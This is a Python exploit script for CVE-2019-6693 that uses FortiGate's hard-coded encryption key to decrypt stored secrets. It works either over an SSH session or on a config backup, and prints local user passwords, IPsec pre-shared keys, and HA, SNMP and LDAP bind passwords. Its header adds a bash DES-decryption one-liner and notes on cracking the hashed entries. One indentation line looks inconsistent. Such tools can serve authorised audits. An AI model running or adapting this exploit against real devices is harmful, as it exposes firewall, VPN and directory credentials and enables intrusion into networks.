CVE-2019-6693.py

#! /usr/bin/env python3
# -*- coding: utf-8 -*- 
r''' 
    	Copyright 2025 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.

        Great thanks to: https://github.com/saladandonionrings/cve-2019-6693
        And: https://medium.com/@bart.dopheide/decrypting-fortigate-passwords-cve-2019-6693-1239f6fd5a61
        
        File name CVE-2019-6693-PassRetriever.py
        written by Tijl Deneut
        
        Older systems are not AES but DES, bash decryption code:
        BASE64_ENCODED_PASSWORD='dmFyL0+82VJfybwP4OalP1IWF8ZwRYF8RsIcZufOFH6I/BN/KCBLLTxAE4NaFRh+2vfadIC5j3LRVc5K8A1wf79FMp2Njj0PACG5jn1CRrGdMNOTTMknFH3EeHQHHaAfFVNU9BIACtwkKO5IxVA5IBMq0yfp8nOi8wDOKL01Lt83gANaWkfEvUEDN7j2eKK1zx6QJw=='
        base64 --decode <<<"${BASE64_ENCODED_PASSWORD}" | dd bs=1 skip=4 status=none | openssl enc -d -des-cbc -K 347c0894e39b046e -iv "$(base64 --decode <<<"${BASE64_ENCODED_PASSWORD}" | xxd -len 4 -plain)00000000" -nopad | sed -e 's/\x00\+$//'

        If the line starts with "set password ENC SH2...", then it is not reversible encrypted but hashed (Salted SHA256 hash)
        Can be cracked with John-The-Ripper and Hashcat (mode 26300)
        TODO: extract these in format <username>:<hash> ("guest:SH2...")
'''
import argparse, socket, base64, time, os
try: from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
except: exit('[-] Error: cryptography required: python3 -m pip install cryptography (or apt install python3-cryptography)')
try: import paramiko
except: exit('[-] Error: Paramiko required: python3 -m pip install paramiko (or apt install python3-paramiko)')

iTimeout = 2 ## seconds
bDecryptKey = b'Mary had a littl'

def getBanner(arrArgs):
    #sIP, iPort, boolVerbose
    sIP = arrArgs[0]; iPort = arrArgs[1]; boolVerbose = arrArgs[2]
    sBanner = ''
    try:
        oSock = socket.create_connection((sIP, iPort), timeout=iTimeout)
        bBanner = oSock.recv(1024)
        oSock.close()
        try: 
            sBanner = bBanner.split(b"\n")[0].decode(errors='ignore')
            print('[+] Connection {}:{} has banner {}'.format(sIP, iPort, sBanner))
        except: 
            print('[-] No banner found')
            pass
    except:
        if boolVerbose: print('[-] Connection {}:{} timed out'.format(sIP, iPort))
    return sBanner

def getPrompt(oShell):
    def flush(oShell):
        while oShell.recv_ready(): oShell.recv(1024)
    flush(oShell)  # flush everything from before
    #oShell.sendall('\n') ## sometimes needed, but not on fortigates

    time.sleep(.3)
    sPrompt = str(oShell.recv(1024), encoding='utf-8').strip()
    flush(oShell)  # flush everything after (just in case)
    return sPrompt

def openConnection(sIP,iPort,sUsername,sPassword, boolVerbose=False):
    oSSH = paramiko.SSHClient()
    oSSH.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ## Create connection
    try: oSSH.connect(hostname=sIP, port=iPort, username=sUsername, password=sPassword)
    except:
        print(f'[-] Error: Creds for {sIP} are not working (username: {sUsername}, port: {iPort})') 
        exit(0)
    ## Getting the prompt (hostname)
    sPrompt = getPrompt(oSSH.invoke_shell())
    if boolVerbose: print(f'Prompt: {sPrompt}')
    
    ## Verify Full Admin access
    oStdin, oStdout, oStderr = oSSH.exec_command('fnsysctl ls -al /')
    if oStderr.read() != b'': 
        print(f'[-] User {sUsername} does not have the correct privileges on device {sIP}')
        exit(0)
    
    return oSSH, sPrompt

def getSSHData(oSSH, lstCmds):
    lstResponse = []
    lstCmdsPre = ['config global','config system console','set output standard','end']
    ## Note: "config global" only required on multi-VDOM systems, but does not hurt to run it
    oSSH.exec_command('\n'.join(lstCmdsPre))
    oStdin, oStdout, oStderr = oSSH.exec_command('\n'.join(lstCmds))
    if oStderr.read() == b'':
        for sLine in oStdout.readlines():
            #if b'--More-- \r         \r' in sLine.encode(): sLine = sLine.encode().replace(b'--More-- \r         \r',b'').decode(errors='ignore')
            ##> Not needed when "set output standard" (above)
            lstResponse.append(sLine.lstrip(r' ').rstrip(r' ').strip())
    else: 
        print('[-] Error running commands:\n{}\n : '.format('\n'.join(lstCmds)))
        print(oStderr.read())
    lstCmdsPost = ['config global','config system console','set output more','end']
    oSSH.exec_command('\n'.join(lstCmdsPost))
    return lstResponse

def getHostname(oSSH, sConfigData, boolVDOMs, boolVerbose):
    if boolVDOMs: lstCmds = ['config global','show system global']
    else: lstCmds = ['show system global']
    if sConfigData: lstOutput = sConfigData.split('\n')
    else: lstOutput = getSSHData(oSSH, lstCmds)
    boolGlobalConfig=False
    sHostname = ''
    for sLine in lstOutput:
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if 'config system global' in sLine: boolGlobalConfig=True
        elif boolGlobalConfig and sLine.startswith('set hostname '):
            sHostname = sLine.replace('set hostname ','').replace('"','').strip()
            break
    if sHostname: print(f'[+] Hostname is {sHostname}\n')
    return

def getVDOMsFromFile(sConfigData, boolVerbose):
    lstVDOMs = []
    boolParsing=False
    for sLine in sConfigData.split('\n'): ## We assume the config file has block "config vdom\nedit root\nnext\nedit vdom1\nnext\nend" at the beginning
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sLine == 'config vdom': boolParsing=True
        elif 'edit root' in sLine or 'edit global' in sLine: continue
        elif boolParsing and sLine.startswith('edit '): 
            sVDOM = sLine.split(' ')[1].strip()
            if not sVDOM in lstVDOMs: lstVDOMs.append(sVDOM)
        elif boolParsing and sLine == 'end': break
    if boolVerbose: 
        for sVDOM in lstVDOMs: print(f'   - {sVDOM}')
    return lstVDOMs

def getVDOMsFromSSH(oSSH, boolVerbose):
    lstVDOMs = []
    lstCmds=['config global','diagnose sys ha checksum cluster']
    lstOutput = getSSHData(oSSH, lstCmds)
    for sLine in lstOutput:
        if not ':' in sLine: continue
        if 'all: ' in sLine or 'global: ' in sLine or 'root: ' in sLine or sLine.startswith('WARNING: ') or sLine.startswith('Note: '): continue
        sVDOM = sLine.split(':')[0]
        if not sVDOM in lstVDOMs: lstVDOMs.append(sVDOM)
    if boolVerbose: 
        for sVDOM in lstVDOMs: print(f'   - {sVDOM}')
    return lstVDOMs

def decryptString(sEncrypted):
    bData = base64.b64decode(sEncrypted)
    bIV = bData[0:4] + b'\x00' * 12
    bEncr = bData[4:]
    oCipher = Cipher(algorithms.AES(bDecryptKey), modes.CBC(bIV))
    try: bClear = oCipher.decryptor().update(bEncr) + oCipher.decryptor().finalize()
    except: return 'Decryption Failed'
    if b'\x00' in bClear: bClear = bClear.split(b'\x00')[0]
    return bClear.decode(errors='ignore')

def getUsersFromFile(sConfigData, sVDOM, boolVerbose):
    boolInVDOM=False
    boolParsingUsers=False
    if not sVDOM: boolInVDOM = True ## If there are no vdoms, we are always "InVDOM"
    lstUsers=[]
    dctUser = {}
    for sLine in sConfigData.split('\n'): 
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sVDOM and sLine == f'edit {sVDOM}': boolInVDOM=True
        elif boolInVDOM and sLine == 'config vdom': boolInVDOM = False ## No longer in right VDOM, but keep looking
        elif boolInVDOM and sLine == 'config user local': boolParsingUsers = True
        elif boolParsingUsers and sLine == 'end': break
        elif boolInVDOM and boolParsingUsers: 
            if sLine.startswith('edit "'): 
                dctUser['User'] = sLine.split('"')[1]
            elif sLine.startswith('set type'):
                sType = sLine.split(' ')[-1]
                if sType == 'ldap' and dctUser: dctUser['Password'] = '<NoPass-LDAP>'
                elif sType != 'password' and dctUser: dctUser['Password'] = '<NoPass-RemoteUser>'
            elif sLine.startswith('set passwd ENC'):
                sClearPass = decryptString(sLine.split(' ')[-1])
                if dctUser: dctUser['Password'] = sClearPass
            elif sLine.startswith('next'):
                if dctUser: ## If user has no clear text password only add if Verbose is true
                    if boolVerbose: lstUsers.append(dctUser)
                    elif not dctUser['Password'].startswith('<NoPass'): lstUsers.append(dctUser)
                    dctUser = {}
    return lstUsers

def getUsersFromSSH(oSSH, sVDOM, boolVerbose):
    lstUsers = []
    if sVDOM: lstCmds = ['config vdom',f'edit {sVDOM}','show user local']
    else: lstCmds = ['show user local']
    lstOutput = getSSHData(oSSH, lstCmds)
    dctUser = {}
    for sLine in lstOutput:
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sLine.startswith('edit "'):
            dctUser['User'] = sLine.split('"')[1]
        elif sLine.startswith('set type'):
            sType = sLine.split(' ')[-1]
            if sType == 'ldap' and dctUser: dctUser['Password'] = '<NoPass-LDAP>'
            elif sType != 'password' and dctUser: dctUser['Password'] = '<NoPass-RemoteUser>'
        elif sLine.startswith('set passwd ENC'):
            if dctUser: dctUser['Password'] = decryptString(sLine.split(' ')[-1])
        elif sLine.startswith('next'):
            if dctUser: ## If user has no clear text password only add if Verbose is true
                if boolVerbose: lstUsers.append(dctUser)
                elif not dctUser['Password'].startswith('<NoPass'): lstUsers.append(dctUser)
                dctUser = {}
    return lstUsers

def getS2SFromSSH(oSSH, sVDOM):
    lstS2Ses = []
    if sVDOM: lstCmds = ['config vdom',f'edit {sVDOM}','show vpn ipsec phase1-interface']
    else: lstCmds = ['show vpn ipsec phase1-interface']
    lstOutput = getSSHData(oSSH, lstCmds)
    dctS2S = {}
    for sLine in lstOutput:
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sLine.startswith('edit "'): dctS2S['name'] = sLine.split('"')[1]
        elif sLine.startswith('set remote-gw'): 
            if dctS2S: dctS2S['remote'] = sLine.split(' ')[-1]
        elif sLine.startswith('set psksecret ENC'): 
            if dctS2S: dctS2S['password'] = decryptString(sLine.split(' ')[-1])
        elif sLine.startswith('next'):
            if dctS2S: 
                lstS2Ses.append(dctS2S)
                dctS2S = {}
    return lstS2Ses
    
def getS2SFromFile(sConfigData, sVDOM):
    lstS2Ses = []
    dctS2S = {}
    boolInVDOM=False
    boolParsingS2Ses=False
    if not sVDOM: boolInVDOM = True ## If there are no vdoms, we are always "InVDOM"
    for sLine in sConfigData.split('\n'): 
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sVDOM and sLine == f'edit {sVDOM}': boolInVDOM=True
        elif boolInVDOM and sLine == 'config vdom': boolInVDOM = False ## No longer in right VDOM, but keep looking
        elif boolInVDOM and sLine == 'config vpn ipsec phase1-interface': boolParsingS2Ses = True
        elif boolParsingS2Ses and sLine == 'end': break
        elif boolInVDOM and boolParsingS2Ses: 
            if sLine.startswith('edit "'): dctS2S['name'] = sLine.split('"')[1]
            elif sLine.startswith('set remote-gw'): 
                if dctS2S: dctS2S['remote'] = sLine.split(' ')[-1]
            elif sLine.startswith('set psksecret ENC'): 
                if dctS2S: dctS2S['password'] = decryptString(sLine.split(' ')[-1])
            elif sLine.startswith('next'):
                if dctS2S and 'password' in dctS2S: 
		    if not 'remote' in dctS2S: dctS2S['remote'] = ''
                    lstS2Ses.append(dctS2S)
                    dctS2S = {}
    return lstS2Ses

def getHAFromFile(sConfigData):
    dctHA = {}
    boolHAconfig = False
    for sLine in sConfigData.split('\n'): 
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if 'config system ha' in sLine: boolHAconfig = True
        elif boolHAconfig and 'set group-name' in sLine: dctHA['Group Name'] = sLine.split('"')[1]
        elif boolHAconfig and 'set password ENC' in sLine:
            sClearPass = decryptString(sLine.split(' ')[-1])
            dctHA['Password'] = sClearPass
        elif sLine == 'end' and boolHAconfig: break
    return dctHA

def getHAFromSSH(oSSH):
    lstCmds=['config global', 'show system ha']
    lstOutput = getSSHData(oSSH, lstCmds)
    dctHA = {}
    boolHAconfig = False
    for sLine in lstOutput:
        sLine = sLine.strip().lstrip(' ').rstrip(' ')
        if 'config system ha' in sLine: boolHAconfig = True
        elif boolHAconfig and 'set group-name' in sLine: dctHA['Group Name'] = sLine.split('"')[1]
        elif boolHAconfig and 'set password ENC' in sLine:
            sClearPass = decryptString(sLine.split(' ')[-1])
            dctHA['Password'] = sClearPass
        elif sLine == 'end' and boolHAconfig: break
    return dctHA

def getSNMPFromSSH(oSSH):
    lstUsers = []
    lstCmds=['config global', 'show system snmp user']
    lstOutput = getSSHData(oSSH, lstCmds)
    dctUser = {}
    for sLine in lstOutput:
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sLine.startswith('edit "'): dctUser['User'] = sLine.split('"')[1]
        elif sLine.startswith('set notify-hosts'):
            sHosts = sLine.split('notify-hosts ')[1]
            if dctUser: dctUser['hosts'] = sHosts
        elif sLine.startswith('set auth-pwd ENC'):
            sClearPass = decryptString(sLine.split(' ')[-1])
            if dctUser: dctUser['auth-pass'] = sClearPass
        elif sLine.startswith('set priv-pwd ENC'):
            sClearPass = decryptString(sLine.split(' ')[-1])
            if dctUser: dctUser['priv-pass'] = sClearPass
        elif sLine.startswith('next'):
            if dctUser: ## If user has no clear text password only add if Verbose is true
                if not 'hosts' in dctUser: dctUser['hosts'] = ''
                if not 'priv-pass' in dctUser: dctUser['priv-pass'] = ''
                if 'auth-pass' in dctUser: lstUsers.append(dctUser)
                dctUser = {}
    return lstUsers

def getSNMPFromFile(sConfigData):
    lstUsers = []
    boolSNMPconfig = False
    dctUser = {}
    for sLine in sConfigData.split('\n'): 
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sLine == 'config system snmp user': boolSNMPconfig = True
        elif boolSNMPconfig and sLine == 'end': break
        elif boolSNMPconfig and sLine.startswith('edit "'):
            dctUser['User'] = sLine.split('"')[1]
        elif boolSNMPconfig and sLine.startswith('set notify-hosts'):
            sHosts = sLine.split('notify-hosts ')[1]
            if dctUser: dctUser['hosts'] = sHosts
        elif boolSNMPconfig and sLine.startswith('set auth-pwd ENC'):
            sClearPass = decryptString(sLine.split(' ')[-1])
            if dctUser: dctUser['auth-pass'] = sClearPass
        elif boolSNMPconfig and sLine.startswith('set priv-pwd ENC'):
            sClearPass = decryptString(sLine.split(' ')[-1])
            if dctUser: dctUser['priv-pass'] = sClearPass
        elif boolSNMPconfig and sLine.startswith('next'):
            if dctUser: 
                if 'auth-pass' in dctUser: lstUsers.append(dctUser)
                dctUser = {}
    return lstUsers

def getLDAPFromFile(sConfigData):
    lstUsers = []
    boolLDAPconfig = False
    dctUser = {}
    for sLine in sConfigData.split('\n'): 
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sLine == 'config user ldap': boolLDAPconfig = True
        elif boolLDAPconfig and sLine == 'end': break
        elif boolLDAPconfig and sLine.startswith('edit "'):
            dctUser['User'] = sLine.split('"')[1]
        elif boolLDAPconfig and sLine.startswith('set server "'):
            if dctUser: dctUser['server'] = sLine.split('set server "')[1].split('"')[0]
        elif boolLDAPconfig and (sLine.startswith('set username "') or sLine.startswith('set dn "')):
            if dctUser and 'username "' in sLine: dctUser['username'] = sLine.split('set username "')[1].split('"')[0]
            elif dctUser and 'dn "' in sLine: dctUser['username'] = sLine.split('set dn "')[1].split('"')[0]
        elif boolLDAPconfig and sLine.startswith('set password ENC'):
            sClearPass = decryptString(sLine.split(' ')[-1])
            if dctUser: dctUser['pass'] = sClearPass
        elif boolLDAPconfig and sLine.startswith('next'):
            if dctUser: 
                if not 'server' in dctUser: dctUser['server'] = ''
                if not 'username' in dctUser: dctUser['username'] = ''
                if 'pass' in dctUser: lstUsers.append(dctUser)
                dctUser = {}
    return lstUsers

def getLDAPFromSSH(oSSH):
    lstUsers = []
    lstCmds=['config vdom', 'edit root', 'show user ldap']
    lstOutput = getSSHData(oSSH, lstCmds)
    dctUser = {}
    for sLine in lstOutput:
        sLine = sLine.lstrip(r' ').rstrip(r' ').strip()
        if sLine.startswith('edit "'): dctUser['User'] = sLine.split('"')[1]
        elif sLine.startswith('set server "'):
            if dctUser: dctUser['server'] = sLine.split('set server "')[1].split('"')[0]
        elif sLine.startswith('set username "'):
            if dctUser: dctUser['username'] = sLine.split('set username "')[1].split('"')[0]
        elif sLine.startswith('set password ENC'):
            sClearPass = decryptString(sLine.split(' ')[-1])
            if dctUser: dctUser['pass'] = sClearPass
        elif sLine.startswith('next'):
            if dctUser: ## If user has no clear text password only add if Verbose is true
                if not 'server' in dctUser: dctUser['server'] = ''
                if not 'username' in dctUser: dctUser['username'] = ''
                if 'pass' in dctUser: lstUsers.append(dctUser)
                dctUser = {}
    return lstUsers

def main():
    boolVerbose = False
    ## Banner
    print(r'''
    [*****************************************************************************]
                   --- Remote credential decoder (CVE-2019-6693) ---
        This script will try to connect to a running FortiGate device via SSH 
                  and decode User, S2S, HA, SNMP & LDAP credentials.
    ______________________/-> Created By Tijl Deneut(c) <-\_______________________
    [*****************************************************************************]
    ''')
    ## Defaults and parsing arguments
    oParser = argparse.ArgumentParser()
    oParser.add_argument('-t', '--target', help='TARGET mode, provide IP address', default='')
    oParser.add_argument('-p', '--port', help='Target TCP Port, default 22', default=22, type=int)
    oParser.add_argument('-u', '--username', help='Target username', default='')
    oParser.add_argument('-a', '--password', help='Target password', default='')
    oParser.add_argument('-v', '--verbose', help='Verbosity; more info', action='store_true')
    oParser.add_argument('-f', '--configfile', help='Config backup to parse, ignores target/port/username/password', default=None)
    dctArgs = oParser.parse_args()
    boolVerbose = dctArgs.verbose
    boolVDOMs = False
    sConfigData = None
    if dctArgs.target: 
        getBanner((dctArgs.target, dctArgs.port, boolVerbose))
    elif dctArgs.configfile: 
        if not os.path.isfile(dctArgs.configfile):
            print(f'[-] Error: file {dctArgs.configfile} not found')
            exit(0)
        sConfigData = open(dctArgs.configfile,'r').read()
    else: print('[-] Please provide at least the target (hostname or IP address) or a config file')
    if dctArgs.target and (not dctArgs.password or not dctArgs.username):
        print('[-] No password or username provided, stopping here')
        exit(0)
    
    if not sConfigData: oSSH, sPrompt = openConnection(dctArgs.target, dctArgs.port, dctArgs.username, dctArgs.password)
    else: oSSH = None

    if oSSH: lstVDOMs = getVDOMsFromSSH(oSSH, boolVerbose)
    else: lstVDOMs = getVDOMsFromFile(sConfigData, boolVerbose)
    print(f'[+] Found {len(lstVDOMs)} VDOM\'s')
    if len(lstVDOMs) > 1: boolVDOMs = True
    
    getHostname(oSSH, sConfigData, boolVDOMs, boolVerbose)
    ## Users (per VDOM)
    if boolVDOMs:
        for sVDOM in lstVDOMs:
            print(f'[+] Getting users for VDOM {sVDOM} (if any)')
            if oSSH: dctUsers = getUsersFromSSH(oSSH, sVDOM, boolVerbose)
            else: dctUsers = getUsersFromFile(sConfigData, sVDOM, boolVerbose)
            for dctUser in dctUsers: print('    {} : {}'.format(dctUser['User'], dctUser['Password']))
    else:
        print(f'[+] Getting users (if any)')
        if oSSH: dctUsers = getUsersFromSSH(oSSH, None, boolVerbose)
        else: dctUsers = getUsersFromFile(sConfigData, None, boolVerbose)
        for dctUser in dctUsers: print('    {} : {}'.format(dctUser['User'], dctUser['Password']))

    ## S2S details (per VDOM)
    if boolVDOMs:
        print('')
        for sVDOM in lstVDOMs:
            print(f'[+] Getting S2S details for VDOM {sVDOM} (if any)')
            if oSSH: dctS2Ses = getS2SFromSSH(oSSH, sVDOM) ## 'name', 'remote' and 'password'
            else: dctS2Ses = getS2SFromFile(sConfigData, sVDOM)
            for dctS2S in dctS2Ses: print('    {} ({}): {}'.format(dctS2S['name'], dctS2S['remote'], dctS2S['password']))
    else:
        print('\n[+] Getting S2S details (if any)')
        if oSSH: dctS2Ses = getS2SFromSSH(oSSH, None)
        else: dctS2Ses = getS2SFromFile(sConfigData, None)
        for dctS2S in dctS2Ses: print('    {} ({}): {}'.format(dctS2S['name'], dctS2S['remote'], dctS2S['password']))
    
    print('\n[+] Getting HA details (if any)')
    if oSSH: dctHA = getHAFromSSH(oSSH)
    else: dctHA = getHAFromFile(sConfigData)
    if dctHA: print('    GroupName {} : Password {}'.format(dctHA['Group Name'], dctHA['Password']))

    print('\n[+] Getting SNMP details (if any)')
    if oSSH: dctSNMP = getSNMPFromSSH(oSSH)
    else: dctSNMP = getSNMPFromFile(sConfigData)
    if dctSNMP: 
        for dctUser in dctSNMP: print('    User {} (hosts: {}):\n        Auth Pass: {}\n        Priv Pass: {}'.format(dctUser['User'], dctUser['hosts'], dctUser['auth-pass'], dctUser['priv-pass']))

    print('\n[+] Getting LDAP details (if any)')
    if oSSH: dctLDAP = getLDAPFromSSH(oSSH) 
    else: dctLDAP = getLDAPFromFile(sConfigData)
    if dctLDAP: 
        for dctUser in dctLDAP: print('    User {} (server: {}):\n        username: {}\n        password: {}'.format(dctUser['User'], dctUser['server'], dctUser['username'], dctUser['pass']))
    return

if __name__ == "__main__":
	main()